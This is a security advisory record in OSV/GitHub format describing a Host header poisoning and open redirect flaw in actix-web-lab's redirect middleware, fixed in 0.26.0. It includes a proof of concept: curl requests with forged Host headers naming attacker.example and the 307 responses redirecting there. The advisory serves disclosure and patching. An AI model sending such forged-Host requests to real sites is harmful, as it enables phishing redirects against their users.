{"id":"GHSA-vhj5-x93p-67jw","revision":null,"records":[{"revision":"a48b4676905d4881861e0e3b43672ee6","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"GHSA-vhj5-x93p-67jw","aliases":[],"title":"actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects","description":"### Summary\n`actix-web-lab` redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, `https://{hostname}{path}`). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the `Location` response header, causing open redirect/phishing behavior.\n\n### CVE\nAssigned CVE ID:  CVE-2025-63762\n\n### Details\nThe issue is in redirect middleware paths that construct absolute URLs from `req.connection_info()`:\n\n1. `actix-web-lab/src/redirect_to_https.rs` (around lines 119-132)\n   - `let host = conn_info.host();`\n   - `format!(\"https://{hostname}{path}\")`\n   - `format!(\"https://{hostname}:{port}{path}\")`\n\n2. `actix-web-lab/src/redirect_to_www.rs` (around lines 30-35)\n   - `format!(\"{scheme}://www.{host}{path}\")`\n\n3. `actix-web-lab/src/redirect_to_non_www.rs` (around lines 30-34)\n   - `format!(\"{scheme}://{host_no_www}{path}\")`\n\nBecause host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.\n\n### PoC\nEnvironment used for validation:\n- Local minimal Actix apps using `actix-web-lab` middleware\n- RedirectHttps: `http://127.0.0.1:18080`\n- redirect_to_www: `http://127.0.0.1:18081`\n- redirect_to_non_www: `http://127.0.0.1:18082`\n\nReproduction (RedirectHttps):\n```bash\ncurl.exe -i -s \"http://127.0.0.1:18080/test\" -H \"Host: attacker.example\"\n```\n\nObserved response:\n```http\nHTTP/1.1 307 Temporary Redirect\nlocation: https://attacker.example/test\n```\n\nAdditional verification:\n```bash\ncurl.exe -i -s \"http://127.0.0.1:18080/abc/def\" -H \"Host: evil.example:9999\"\n```\n\nObserved response:\n```http\nHTTP/1.1 307 Temporary Redirect\nlocation: https://evil.example/abc/def\n```\n\nReproduction (redirect_to_www):\n```bash\ncurl.exe -i -s \"http://127.0.0.1:18081/hello\" -H \"Host: attacker.example\"\n```\n\nObserved response:\n```http\nHTTP/1.1 307 Temporary Redirect\nlocation: http://www.attacker.example/hello\n```\n\nReproduction (redirect_to_non_www):\n```bash\ncurl.exe -i -s \"http://127.0.0.1:18082/path\" -H \"Host: www.attacker.example\"\n```\n\nObserved response:\n```http\nHTTP/1.1 307 Temporary Redirect\nlocation: http://attacker.example/path\n```\n\n### Impact\nThis is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.","state":0,"publishedAt":"2026-03-11T00:29:17+00:00","modifiedAt":"2026-09-10T03:50:41.2705918+00:00","affected":[{"ecosystem":"crates.io","name":"actix-web-lab","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.26.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/robjtede/actix-web-lab/security/advisories/GHSA-vhj5-x93p-67jw","https://github.com/robjtede/actix-web-lab/pull/292","https://github.com/robjtede/actix-web-lab/commit/142c28b82eb59b67445a859a2a9b75e01a9964ee","https://github.com/robjtede/actix-web-lab"],"sourceUrl":"https://github.com/advisories/GHSA-vhj5-x93p-67jw","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-vhj5-x93p-67jw","identifiers":["GHSA-vhj5-x93p-67jw"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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